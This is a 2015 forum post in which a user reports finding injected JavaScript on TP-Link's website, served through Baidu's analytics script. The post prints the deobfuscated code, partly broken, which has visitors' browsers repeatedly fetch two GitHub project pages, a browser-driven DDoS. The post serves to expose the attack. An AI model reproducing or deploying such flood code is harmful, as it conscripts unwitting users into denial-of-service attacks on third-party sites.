Jump to content


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.

Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.


Github, Baidu and DDoS

  • Please log in to reply
No replies to this topic

#1 Romeo29


    Learning To Bleep

  • Members
  • 3,194 posts
  • Gender:Not Telling
  • Location:
  • Local time:07:34 AM

Posted 27 March 2015 - 12:57 AM

So a few minutes ago, I decided to revert back to the official firmware for the TP-Link WiFI Router. Visited the Tp-Link website and soon was bombarded with JS alert message "WARNING : malicious javascript detected on this domain".




What the hell? I debugged the page (thanks to Firefox), and found out a connection to Github https://github.com/cn-nytimes


What is going on? Investigated further, and found out that TP-Link site uses code from baidu and it has something special (hm.baidu.com/h.js) (the code was obfuscated):

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;

function get(a) {
    var b;
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)

function r_send(a) {
    setTimeout("r_send2()", a)
setTimeout("r_send2()", 2E3);

Looks like they are requesting the code hosted on github over and over again.


If many other Chinese websites use code from baidu then it is going to cause some troubles for github quickly.

BC AdBot (Login to Remove)


0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users